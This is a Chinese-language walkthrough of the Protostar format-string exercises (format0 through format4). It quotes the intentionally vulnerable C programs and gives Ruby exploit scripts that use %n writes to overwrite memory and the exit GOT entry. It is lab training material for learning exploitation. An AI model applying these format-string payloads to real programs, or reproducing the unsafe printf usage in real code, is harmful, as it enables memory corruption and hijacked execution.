所有的 ruby 脚本已经放在了这里
Protostar
Protostar introduces the following in a friendly way:
- Network programming
- Byte order
- Handling sockets
- Stack overflows
- Format strings
- Heap overflows
- The above is introduced in a simple way, starting with simple memory corruption and modification, function redirection, and finally executing custom shellcode.
In order to make this as easy as possible to introduce Address Space Layout Randomisation and Non-Executable memory has been disabled. If you are interested in covering ASLR and NX memory, please see the Fusion page.
Format Zero
This level introduces format strings, and how attacker supplied format strings can modify the execution flow of programs.
Hints
- This level should be done in less than 10 bytes of input.
- “Exploiting format string vulnerabilities”
This level is at /opt/protostar/bin/format0
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln(char *string)
{
volatile int target;
char buffer[64];
target = 0;
sprintf(buffer, string);
if(target == 0xdeadbeef) {
printf("you have hit the target correctly :)\n");
}
}
int main(int argc, char **argv)
{
vuln(argv[1]);
}
总感觉这其实算 Stack 的题x
没有太多能说的..
#!/usr/bin/ruby
padding = "%64d";
deadbeef = "\xef\xbe\xad\xde";
command = <<-END
/opt/protostar/bin/format0 #{padding + deadbeef}
END
puts `#{command}`
唯一需要说明的就是 %64d
的作用是对 char buffer[64]
填充 64 个空格进行占位
Format One
由于比较奇怪所以放在了这里
Format Two
This level moves on from format1 and shows how specific values can be written in memory.
This level is at /opt/protostar/bin/format2
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
if(target == 64) {
printf("you have modified the target :)\n");
} else {
printf("target is %d :(\n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}
首先依然是用 objdump
来找到 target
的地址,是 0x080496e4
接下来需要知道我们输入的数据被存在了栈的哪里
user@protostar:/tmp/format$ /opt/protostar/bin/format2
ABCD%08x|%08x|%08x|%08x|%08x|%08x
ABCD00000200|b7fd8420|bffff5d4|44434241|78383025|3830257c
target is 0 :(
可以看到 ABCD 的 ASCII 也就是 44434241
出现在了第 4 个 %08x
target = "\xe4\x96\x04\x08"
stdin = target + "%60x%4$n"
# echo 使用单引号,避免把 %4$n 解析成变量
command = "echo '#{stdin}' | /opt/protostar/bin/format2"
puts `#{command}`
target
也就是 \xe4\x96\x04\x08
是 4 bytes
再加上 60 个 bytes 的话也就是 64 了
所以使用 %60x%4$n
%60x
打印 60 个 bytes%4$n
选取第 4 个参数(也就是上面说 ABCD 出现在第 4 个%08x
)写入「当前打印了多少字符」
Format Three
This level advances from format2 and shows how to write more than 1 or 2 bytes of memory to the process. This also teaches you to carefully control what data is being written to the process memory.
This level is at /opt/protostar/bin/format3
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void printbuffer(char *string)
{
printf(string);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printbuffer(buffer);
if(target == 0x01025544) {
printf("you have modified the target :)\n");
} else {
printf("target is %08x :(\n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}
objdump
找到 target
的地址是 0x080496f4
我们的目标是让这个地址上的值为 0x01025544
user@protostar:/tmp/format$ /opt/protostar/bin/format3
ABCD%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x
ABCD00000000|bffff590|b7fd7ff4|00000000|00000000|bffff798|0804849d|bffff590|00000200|b7fd8420|bffff5d4|44434241|78383025|3830257c|30257c78|257c7838
target is 00000000 :(
可见 ABCD 出现在第 12 个 %08x
,可以稍后替换成我们所需要的地址
所以可以使用 %12$n
来选取第 12 个参数
0x01025544
这个值其实可以分成三步来写:
- 在
0x080496f4
写入0x44
也就是十进制 68 - 在
0x080496f5
写入0x55
也就是十进制 85 - 在
0x080496f6
写入0x0102
也就是十进制 258
为什么是写 0x0102
而不是分成两个来写呢?
因为我们只能用 %n
来写入,而 %n
写入的值是「当前打印了多少字符」
所以下一个值永远只能大于上一个值
如果直接写0x02
的话就小于 0x55
,是无法做到的
target = "\xf4\x96\x04\x08" + "\xf5\x96\x04\x08" + "\xf6\x96\x04\x08"
# 68 = 56 + 12,这里的 12 是因为 target 已经有 12 bytes 了
f4 = "%56x" + "%12$n" # 但这里的 12 是因为上文提到 ABCD 出现在第 12 个参数
# 85 = 68 + 17
f5 = "%17x" + "%13$n"
# 258 = 85 + 173
f6 = "%173x" + "%14$n"
# echo 使用单引号,避免把 %?$n 解析成变量
command = <<-END
echo '#{target}#{f4+f5+f6}' | /opt/protostar/bin/format3
END
puts command
puts `#{command}`
Format Four
format4 looks at one method of redirecting execution in a process.
Hints:
- objdump -TR is your friend
This level is at /opt/protostar/bin/format4
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void hello()
{
printf("code execution redirected! you win\n");
_exit(1);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
exit(1);
}
int main(int argc, char **argv)
{
vuln();
}
user@protostar:/tmp/format$ objdump -TR /opt/protostar/bin/format4
/opt/protostar/bin/format4: file format elf32-i386
DYNAMIC SYMBOL TABLE:
00000000 w D *UND* 00000000 __gmon_start__
00000000 DF *UND* 00000000 GLIBC_2.0 fgets
00000000 DF *UND* 00000000 GLIBC_2.0 __libc_start_main
00000000 DF *UND* 00000000 GLIBC_2.0 _exit
00000000 DF *UND* 00000000 GLIBC_2.0 printf
00000000 DF *UND* 00000000 GLIBC_2.0 puts
00000000 DF *UND* 00000000 GLIBC_2.0 exit
080485ec g DO .rodata 00000004 Base _IO_stdin_used
08049730 g DO .bss 00000004 GLIBC_2.0 stdin
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
080496fc R_386_GLOB_DAT __gmon_start__
08049730 R_386_COPY stdin
0804970c R_386_JUMP_SLOT __gmon_start__
08049710 R_386_JUMP_SLOT fgets
08049714 R_386_JUMP_SLOT __libc_start_main
08049718 R_386_JUMP_SLOT _exit
0804971c R_386_JUMP_SLOT printf
08049720 R_386_JUMP_SLOT puts
08049724 R_386_JUMP_SLOT exit
DYNAMIC RELOCATION RECORDS 中,GLIBC exit
函数实际指向的地址是 0x08049724
所以目标就是在 0x08049724
写入 void hello()
的地址,也就是 0x080484b4
user@protostar:/tmp/format$ /opt/protostar/bin/format4
ABCD%08x|%08x|%08x|%08x|%08x|%08x
ABCD00000200|b7fd8420|bffff5d4|44434241|78383025|3830257c
ABCD 出现在第 4 个参数
接下来考虑一下如何写入 0x080484b4
这个值
可以分为三步:
- 在
0x08049724
写入0xb4
也就是十进制 180 - 因为第二个值只能大于第一个值,所以在
0x08049725
写入0x0484
也就是十进制 1156 - 因为第三个值只能大于第二个值,而
0x08
怎么看都小于0x0484
,所以可以写入0x0508
。05
是随便的一个数字,目标仅仅只是让整个值大于第二个。同时我们并不关心这里的0x05
到底被写哪去了,我们只需要使0x08049727
这个 byte 上确实是0x08
就可以了。以及0x0508
的十进制是 1288
target = '\x24\x97\x04\x08' + '\x25\x97\x04\x08' + '\x27\x97\x04\x08'
# 180 = 168 + 12:target 已经是 12 bytes 了
h24 = "%168x" + "%4$n"
# 1156 = 976 + 180
h25 = "%976x" + "%5$n"
# 1288 = 1156 + 132
h27 = "%132x" + "%6$n"
command = <<-END
ruby -e 'puts "#{target}#{h24+h25+h27}"' | /opt/protostar/bin/format4
END
puts command
system(command)
这里有个很奇怪的问题,也就是 target
中的 \x27
对应着 ASCII 中的单引号,结果会让 echo
以为语句已经结束了…
解决办法姑且是换成 ruby -e
但还有个很奇怪的问题,如果要执行的语句里含有 ruby -e
那么 puts `#{command}`
是完全没有任何输出的…甚至可能没有执行
所以只能换成 system(command)
了
顺带一提 puts `#{command}`
的 Markdown 语法是
``puts `#{command}` ``